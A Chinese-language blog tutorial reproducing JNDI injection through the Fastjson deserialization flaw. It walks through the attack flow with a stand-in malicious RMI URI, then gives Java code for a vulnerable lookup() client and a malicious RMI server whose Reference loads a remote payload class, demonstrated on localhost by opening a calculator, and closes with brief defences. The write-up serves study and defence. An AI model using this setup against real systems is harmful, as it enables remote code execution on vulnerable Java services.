Fastjson反序列化漏洞——JNDI注入

一.前言

之前使用反序列化和序列化时写入的到文件里面的,真实环境中,也是这样吗?

当然不是了,通过二进制,字节流数据进行的。

为什么会有JNDI?

由于http和ftp传输消耗资源仍然很大,就有了JRMP协议(java开发),像腾讯,阿里,有自己的一套java开发环境,用原生态的JRMP协议不是很方便,于是在这个基础上,他们就开发了一些其他功能,比如rmi协议,ldap协议。

但这样造成的问题就是,兼容性差,为了解决这个问题,为了规范,所以有了这个JNDI协议,JNDI协议下面就有了rmi,ldap协议,所以java里面一般都有这个JNDI依赖包。

JNDI可访问的现有的目录以及服务有:JDBC(数据库的连接),LDAP,RMI,NID,CORBA

JDBC(数据库的连接):主机a要连接数据库b,就要用的这个依赖包。

LDAP:文件传输,字节传输。

JNDI是对各种访问目录服务的逻辑进行了再封装,其实jndi里面没有什么的,类似目录,帮你访问。

二.JNDI的介绍

JNDI是java命名与目录接口(java Naming and Directory Interface),在 J2EE规范中是重要的规范之一。调用JNDI的API应用程序可以定位资源和其它 程序对象。

java Application 调用JNDI API接口从某个类中的lookup函数,方法调用LDAP,RMI协议,实现功能,这些只有java语言里面才有。

有些公司,比如weblogic这个中间件,它是付费的,那他又在这个基础上定义了一个协议,就是T3协议,专门用于weblogic里面传输数据,这里也有漏洞。

这些协议遇到对象,反序列化的数据,就会解析,比如数据里面有恶意方法,就会执行,这就叫做JNDI注入

三.复现事项

在复现的过程中,注意JDK的版本,JDK在版本中对JNDI的利用有一定的限制。

比如说JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。 当然还有ldap的协议也要注意, 注意JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCod

四.jndi注入的利用条件

(1)客户端的lookup()方法参数可控

(2)服务端在使用Reference时,classFactoryLocation参数可控

五.注入的一个流程

可以先理解这个

这是较全面的过程

1)目标代码中调用了InitialContext.lookup(URI),且URI为用户可控;

(2)攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name;

(3)攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory 类;

(4)目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用 factory.getObjectInstance()获取外部远程对象实例;

(5)攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代 码,达到RCE的效果; 

六.通过代码理解过程以及注入点

由于懒得搞服务器,我就直接用本机上电脑搭建http和rmi服务端。

客户端 

//客户端
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;public class Main {public static void main(String[] args) throws NamingException {Context context = new InitialContext();//context.lookup("rmi://47.106.158.168:1099/hh0czl");context.lookup("rmi://127.0.0.1:1099/evil");//查询rmi协议的资源,以rmi协议请求127.0.0.1:1099端口获取evil,如果说我evil这个是恶意的,是不是就会被解析了。}
}

注意:这里的127.0.0.1:1099可控的,真实环境里面是将这里传入我们的rmi的url的 ,这里我没去搞服务器,就直接写死了。

RMI服务端

//服务端
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {Registry registry = LocateRegistry.createRegistry(1099);//服务端创建了一个端口1099,启动1099String url = "http://127.0.0.1:7777/";//服务端返回给客户端,让客户端去访问这个url,请求资源System.out.println("Create RMI registry on port 1099");Reference reference = new Reference("payload2", "payload2", url);//rmi服务断与这个http://127.0.0.1:6666绑定ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("evil", referenceWrapper);}
}

运行rmi服务端,监听1099端口。

 HTTP服务器,存放paylaod 

payload2就是我们的恶意攻击。

监听7777端口

通过页面去访问一下

 之前也说了,传输数据是以字节码数据进行传输的,所以我们还需要对payload2编译一下。

javac payload2.java

 

与二进制有点类似,看不懂。 

开始运行

弹出计算器

当然我们也可以使用工具 ,你可以下载到自己的服务器上面,工具直接就可以帮你搭建rmi和http服务器。

七.JDNI防御

1.严格过滤用户传参

2.禁止这些协议使用远程codebase的选项

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/142483.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

EasyRecovery 17完美破解版 2024 年最新永久免费使用 EasyRecovery激活图文教程

我们在平时使用电脑或者操作文件过程中,或多或少都有过格式化文件或者为了方便,直接摁住了shifitdelete键;删除后发现,我们删错了,有些文件不是我们要删的,甚至有的文件是特别重要的;这时候恢复…

基于java 的医院排号管理系统设计与实现

博主介绍:专注于Java .net php phython 小程序 等诸多技术领域和毕业项目实战、企业信息化系统建设,从业十五余年开发设计教学工作 ☆☆☆ 精彩专栏推荐订阅☆☆☆☆☆不然下次找不到哟 我的博客空间发布了1000毕设题目 方便大家学习使用 感兴趣的可以…

【无人机设计与控制】四旋翼无人机俯仰姿态保持模糊PID控制(带说明报告)

摘要 为了克服常规PID控制方法在无人机俯仰姿态控制中的不足,本研究设计了一种基于模糊自适应PID控制的控制律。通过引入模糊控制器,实现了对输入输出论域的优化选择,同时解决了模糊规则数量与控制精度之间的矛盾。仿真结果表明,…

FastGPT一站式解决方案[2-应用篇]:轻松实现RAG-智能问答系统,AI工作流、核心模块讲解

FastGPT一站式解决方案[2-应用篇]:轻松实现RAG-智能问答系统,AI工作流、核心模块讲解 1.FastGPT快速使用:基本设置、核心模块讲解 1.1 知识库设置 首先我们需要创建一个知识库。 知识库创建完之后我们需要上传一点内容。 上传内容这里有四种模式: 手动输入:手动输入问…

【网络】高级IO——poll版本TCP服务器

目录 前言 一,poll函数 1.1.参数一:fds 1.2.参数二,nfds 1.3.参数三,timeout 1.4.返回值 1.5.poll函数简单使用示例 二,poll版TCP服务器编写 2.1.编写 2.2.poll的优缺点 2.3.源代码 前言 由于select函数有下面几个特别…

奥维互动地图经纬度导入,再导出ovjsn再转化为kml格式

一、使用python将excel表中的经纬度换算成小数格式。 在文件上看到的经纬度是东经 1165′27.78″,北纬 2310′57.18″,要转化为116.09105,23.182550000000003 格式。如果要用vba编写函数,可能比较麻烦,为此我使用python来转化 i…

【例题】lanqiao3412 最小化战斗力差距

样例输入 3 1 2 3样例输出 1说明 样例中,当 a[1,3],b[2],此时战斗力差距为 1,无法得到比 1 更小的安排方式。 解题思路 目标是|max(a)-min(b)|最小,希望a里的最大值和b里的最小值能差距最小。 转化成:…

2024/9/16 英语每日一段

Stark argues that, in their gummies, at least,“The total sugar in a serving is less than in half a cherry.”Of course, cherries also provide fibre, vitamin C, and antioxidants--and 14 of them would count as one of your five-a-day. Artificial sweeteners to…

Linux操作系统文件权限管理

Linux操作系统下文件的权限分为当前用户权限、用户组权限和其他用户权限,然后每一类用户或组又分为读权限(r)、写权限(w)和可执行权限(x)。 如图1,打开任一目录,右键单击文件,在弹出菜单选择“属性”,在弹出的属性选项…

2022高教社杯全国大学生数学建模竞赛C题 问题一(1) Python代码演示

目录 问题 11.1 对这些玻璃文物的表面风化与其玻璃类型、纹饰和颜色的关系进行分析数据探索 -- 单个分类变量的绘图树形图条形图扇形图雷达图Cramer’s V 相关分析统计检验列联表分析卡方检验Fisher检验绘图堆积条形图分组条形图分类模型Logistic回归随机森林import matplotlib…

1.3 计算机网络的分类

欢迎大家订阅【计算机网络】学习专栏,开启你的计算机网络学习之旅! 文章目录 前言一、按分布范围分类二、按传输技术分类三、按拓扑结构分类四、按使用者分类五、按传输介质分类 前言 计算机网络根据不同的标准可以被分为多种类型,本章从分布…

C语言刷题日记(附详解)(5)

一、选填部分 第一题: 下面代码在64位系统下的输出为( ) void print_array(int arr[]) {int n sizeof(arr) / sizeof(arr[0]);for (int i 0; i < n; i)printf("%d", arr[i]); } int main() {int arr[] { 1,2,3,4,5 };print_array(arr);return 0; } A . 1…

HarmonyOS使用LocationButton获取地理位置

LocationButton LocationKit getAddressesFromLocation方法 步骤&#xff1a; 整合 LocationButton并获取经纬度通过 LocationKit 将经纬度转为地址信息将地址信息渲染到页面上处理异常情况&#xff08;闪退&#xff09; LocationButton({ icon: LocationIconStyle.LINE…

robomimic基础教程(一)——基本概念

robosuite和robomimic都是由ARISE Initiative开发的开源工具&#xff0c;旨在推进机器人学习和机器人操作领域的研究。 一、基本概念 robomimic是一个用于机器人示范学习的框架。它提供了在机器人操作领域收集的大量示范数据集&#xff0c;以及用于从这些数据集中学习的离线学…

初始爬虫6

数据提取 数据提取总结 响应分类 结构化 json数据&#xff08;高频出现&#xff09; json模块 jsonpath模块 xml数据&#xff08;低频出现&#xff09; re模块 …

基于Python DoIPClient库的DoIP上位机开发手顺

代码 address, announcement DoIPClient.await_vehicle_announcement()logical_address announcement.logical_addressip, port addressprint(ip, port, logical_address) 效果 代码 address, announcement DoIPClient.get_entity(ecu_ip_addresssIp, protocol_version3…

重生归来之挖掘stm32底层知识(1)——寄存器

概念理解 要使用stm32首先要知道什么是引脚和寄存器。 如下图所示&#xff0c;芯片通过这些金属丝与电路板连接&#xff0c;这些金属丝叫做引脚。一般做软件开发是不需要了解芯片是怎么焊的&#xff0c;只要会使用就行。我们平常通过编程来控制这些引脚的输入和输出&#xff0c…

CefSharp_Vue交互(Element UI)_WinFormWeb应用(3)---通过页面锁屏和关机(含示例代码)

一、预览 实现功能:通过vue标题栏按钮锁屏和关机 1.1 预览 1.2 代码 锁屏代码csharp LockWorkStation() 关机代码chsharp 注意vue代码参数和此参数一致(0/1/2) 方法ExitWindowsEx()

Docker部署ddns-go教程(包含完整的配置过程)

本章教程教程,主要介绍如何用Docker部署ddns-go。 一、拉取容器 docker pull jeessy/ddns-go:v6.7.0二、运行容器 docker run -d \--name ddns-go \--restart unless-stopped \

鲲鹏云-docker安装mysql8.0-并设置参数(--lower-case-table-names=1)

前言&#xff1a; 由于鲲鹏云是arm架构&#xff0c;公司现有的镜像就用不了&#xff0c;为了搭建个测试环境&#xff0c;记录一下搭建过程 注意在mysql8.0里面lower-case-table-names必须在第一次安装时设置。 ①镜像的获取 鲲鹏镜像pull下来是不能跑的&#xff0c;会提示内…